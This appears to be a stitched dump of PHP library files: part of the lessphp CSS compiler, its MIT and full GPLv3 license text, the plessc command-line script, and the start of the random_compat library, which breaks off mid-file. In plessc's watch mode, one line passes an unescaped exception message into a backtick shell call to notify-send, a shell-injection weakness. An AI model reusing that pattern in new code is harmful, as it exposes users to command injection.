        // attempt to preserve some of the block order
        $order = array();

        $visitedTags = array();
        foreach (end($this->env) as $name => $block) {
            if (!$this->isBlock($name, $block)) continue;
            if (isset($visitedTags[$name])) continue;

            foreach ($block['__tags'] as $t) {
                $visitedTags[$t] = true;
            }

            // skip those with more than 1
            if (count($block['__tags']) == 1) {
                $p = new tagparse(end($block['__tags']));
                $path = $p->parse();
                $root->addBlock($path, $block);
                $order[] = array('compressed', $path, $block);
                continue;
            } else {
                $common = null;
                $paths = array();
                foreach ($block['__tags'] as $rawtag) {
                    $p = new tagparse($rawtag);
                    $paths[] = $path = $p->parse();
                    if (is_null($common)) $common = $path;
                    else {
                        $new_common = array();
                        foreach ($path as $tag) {
                            $head = array_shift($common);
                            if ($tag == $head) {
                                $new_common[] = $head;
                            } else break;
                        }
                        $common = $new_common;
                        if (empty($common)) {
                            // nothing in common
                            break;
                        }
                    }
                }

                if (!empty($common)) {
                    $new_paths = array();
                    foreach ($paths as $p) $new_paths[] = array_slice($p,
count($common));
                    $block['__tags'] = $new_paths;
                    $root->addToNode($common, $block);
                    $order[] = array('compressed', $common,
$block);
                    continue;
                }

            }

            $order[] = array('none', $block['__tags'],
$block);
        }


        $compressed = $root->children;
        foreach ($order as $item) {
            list($type, $tags, $block) = $item;
            if ($type == 'compressed') {
                $top = tagparse::compileTag(reset($tags));
                if (isset($compressed[$top])) {
                    $compressed[$top]->compile($this);
                    unset($compressed[$top]);
                }
            } else {
                echo $this->indent(implode(', ', $tags).'
{');
                $this->indentLevel++;
                nodecounter::compileProperties($this, $block);
                $this->indentLevel--;
                echo $this->indent('}');
            }
        }
    }
}
For ease of distribution, lessphp is under a dual license.
You are free to pick which one suits your needs.




MIT LICENSE




Copyright (c) 2014 Leaf Corcoran, http://leafo.net/lessphp

Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction,
including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:

The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.




GPL VERSION 3




					GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly
explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public
License.

  "Copyright" also means copyright-like laws that apply to other
kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under
this
License.  Each licensee is addressed as "you". 
"Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of
the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of
the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work
based
on the Program.

  To "propagate" a work means to do anything with it that,
without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables
other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal
Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the
work
for making modifications to it.  "Object code" means any
non-source
form of a work.

  A "Standard Interface" means an interface that either is an
official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything,
other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential
component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means
all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are
not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product",
which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to
a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any
methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of
this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control
of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under
this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor
version".

  A contributor's "essential patent claims" are all patent
claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to
grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any
express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license
to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you
have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include
within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT
WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

#!/usr/bin/env php
<?php
// Command line utility to compile LESS to STDOUT
// Leaf Corcoran <leafot@gmail.com>, 2013

$exe = array_shift($argv); // remove filename

$HELP = <<<EOT
Usage: $exe [options] input-file [output-file]

Options include:

    -h, --help  Show this message
    -v          Print the version
    -f=format   Set the output format, includes "default",
"compressed"
    -c          Keep /* */ comments in output
    -r          Read from STDIN instead of input-file
    -w          Watch input-file, and compile to output-file if it is
changed
    -T          Dump formatted parse tree
    -X          Dump raw parse tree


EOT;

$opts = getopt('hvrwncXTf:', array('help'));
while (count($argv) > 0 &&
preg_match('/^-([-hvrwncXT]$|[f]=)/', $argv[0])) {
	array_shift($argv);
}

function has() {
	global $opts;
	foreach (func_get_args() as $arg) {
		if (isset($opts[$arg])) return true;
	}
	return false;
}

if (has("h", "help")) {
	exit($HELP);
}

error_reporting(E_ALL);
$path  = realpath(dirname(__FILE__)).'/';

require $path."lessc.inc.php";

$VERSION = lessc::$VERSION;

$fa = "Fatal Error: ";
function err($msg) {
	fwrite(STDERR, $msg."\n");
}

if (php_sapi_name() != "cli") {
	err($fa.$argv[0]." must be run in the command line.");
	exit(1);
}

function make_less($fname = null) {
	global $opts;
	$l = new lessc($fname);

	if (has("f")) {
		$format = $opts["f"];
		if ($format != "default") $l->setFormatter($format);
	}

	if (has("c")) {
		$l->setPreserveComments(true);
	}

	return $l;
}

function process($data, $import = null) {
	global $fa;

	$l = make_less();
	if ($import) $l->importDir = $import;

	try {
		echo $l->parse($data);
		exit(0);
	} catch (exception $ex) {
		err($fa."\n".str_repeat('=', 20)."\n".
			$ex->getMessage());
		exit(1);
	}
}

if (has("v")) {
	exit($VERSION."\n");
}

if (has("r")) {
	if (!empty($argv)) {
		$data = $argv[0];
	} else {
		$data = "";
		while (!feof(STDIN)) {
			$data .= fread(STDIN, 8192);
		}
	}
	exit(process($data));
}

if (has("w")) {
	// need two files
	if (!is_file($in = array_shift($argv)) ||
		null == $out = array_shift($argv))
	{
		err($fa.$exe." -w infile outfile");
		exit(1);
	}

	echo "Watching ".$in.
		(has("n") ? ' with notifications' : '').
		", press Ctrl + c to exit.\n";

	$cache = $in;
	$last_action = 0;
	while (true) {
		clearstatcache();

		// check if anything has changed since last fail
		$updated = false;
		if (is_array($cache)) {
			foreach ($cache['files'] as $fname=>$_) {
				if (filemtime($fname) > $last_action) {
					$updated = true;
					break;
				}
			}
		} else $updated = true;

		// try to compile it
		if ($updated) {
			$last_action = time();

			try {
				$cache = lessc::cexecute($cache);
				echo "Writing updated file: ".$out."\n";
				if (!file_put_contents($out, $cache['compiled'])) {
					err($fa."Could not write to file ".$out);
					exit(1);
				}
			} catch (exception $ex) {
				echo "\nFatal Error:\n".str_repeat('=',
20)."\n".
					$ex->getMessage()."\n\n";

				if (has("n")) {
					`notify-send -u critical "compile failed"
"{$ex->getMessage()}"`;
				}
			}
		}

		sleep(1);
	}
	exit(0);
}

if (!$fname = array_shift($argv)) {
	echo $HELP;
	exit(1);
}

function dumpValue($node, $depth = 0) {
	if (is_object($node)) {
		$indent = str_repeat("  ", $depth);
		$out = array();
		foreach ($node->props as $prop) {
			$out[] = $indent . dumpValue($prop, $depth + 1);
		}
		$out = implode("\n", $out);
		if (!empty($node->tags)) {
			$out = "+ ".implode(", ",
$node->tags)."\n".$out;
		}
		return $out;
	} elseif (is_array($node)) {
		if (empty($node)) return "[]";
		$type = $node[0];
		if ($type == "block")
			return dumpValue($node[1], $depth);

		$out = array();
		foreach ($node as $value) {
			$out[] = dumpValue($value, $depth);
		}
		return "{ ".implode(", ", $out)." }";
	} else {
		if (is_string($node) && preg_match("/[\s,]/", $node)) {
			return '"'.$node.'"';
		}
		return $node; // normal value
	}
}


function stripValue($o, $toStrip) {
	if (is_array($o) || is_object($o)) {
		$isObject = is_object($o);
		$o = (array)$o;
		foreach ($toStrip as $removeKey) {
			if (!empty($o[$removeKey])) {
				$o[$removeKey] = "*stripped*";
			}
		}

		foreach ($o as $k => $v) {
			$o[$k] = stripValue($v, $toStrip);
		}

		if ($isObject) {
			$o = (object)$o;
		}
	}

	return $o;
}

function dumpWithoutParent($o, $alsoStrip=array()) {
	$toStrip = array_merge(array("parent"), $alsoStrip);
	print_r(stripValue($o, $toStrip));
}

try {
	$less = make_less($fname);
	if (has("T", "X")) {
		$parser = new lessc_parser($less, $fname);
		$tree = $parser->parse(file_get_contents($fname));
		if (has("X"))
			$out = print_r($tree, 1);
		else
			$out = dumpValue($tree)."\n";
	} else {
		$out = $less->parse();
	}

	if (!$fout = array_shift($argv)) {
		echo $out;
	} else {
		file_put_contents($fout, $out);
	}

} catch (exception $ex) {
	err($fa.$ex->getMessage());
	exit(1);
}
<?php
/**
 * Random_* Compatibility Library
 * for using the new PHP 7 random_* API in PHP 5 projects
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2015 - 2016 Paragon Initiative Enterprises
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE
 * SOFTWARE.
 */

if (!is_callable('RandomCompat_strlen')) {
    if (
        defined('MB_OVERLOAD_STRING') &&
        ini_get('mbstring.func_overload') &
MB_OVERLOAD_STRING
    ) {
        /**
         * strlen() implementation that isn't brittle to
mbstring.func_overload
         *
         * This version uses mb_strlen() in '8bit' mode to treat
strings as raw
         * binary rather than UTF-8, ISO-8859-1, etc
         *
         * @param string $binary_string
         *
         * @throws TypeError
         *
         * @return int
         */
        function RandomCompat_strlen($binary_string)
        {
            if (!is_string($binary_string)) {
                throw new TypeError(
                    'RandomCompat_strlen() expects a string'
                );
            }

            return (int) mb_strlen($binary_string, '8bit');
        }

    } else {
        /**
         * strlen() implementation that isn't brittle to
mbstring.func_overload
         *
         * This version just used the default strlen()
         *
         * @param string $binary_string
         *
         * @throws TypeError
         *
         * @return int
         */
        function RandomCompat_strlen($binary_string)
        {
            if (!is_string($binary_string)) {
                throw new TypeError(
                    'RandomCompat_strlen() expects a string'
                );
            }
            return (int) strlen($binary_string);
        }
    }
}

if (!is_callable('RandomCompat_substr')) {

    if (
        defined('MB_OVERLOAD_STRING')
        &&
        ini_get('mbstring.func_overload') &
